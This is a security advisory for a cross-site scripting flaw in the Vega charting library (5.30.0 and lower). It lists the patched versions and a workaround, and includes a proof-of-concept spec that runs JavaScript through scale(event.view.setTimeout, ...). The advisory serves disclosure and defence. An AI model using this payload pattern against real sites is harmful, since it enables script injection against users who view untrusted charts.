In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patched in vega 5.31.0 / vega-functions 5.16.0
Is there a way for users to fix or remediate the vulnerability without upgrading?
vega without vega.expressionInterpreter. This mode is not the default as it is slower. Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
{
"github_reviewed": true,
"severity": "MODERATE",
"nvd_published_at": "2025-03-27T14:15:52Z",
"cwe_ids": [
"CWE-79"
],
"github_reviewed_at": "2025-03-27T14:12:34Z"
}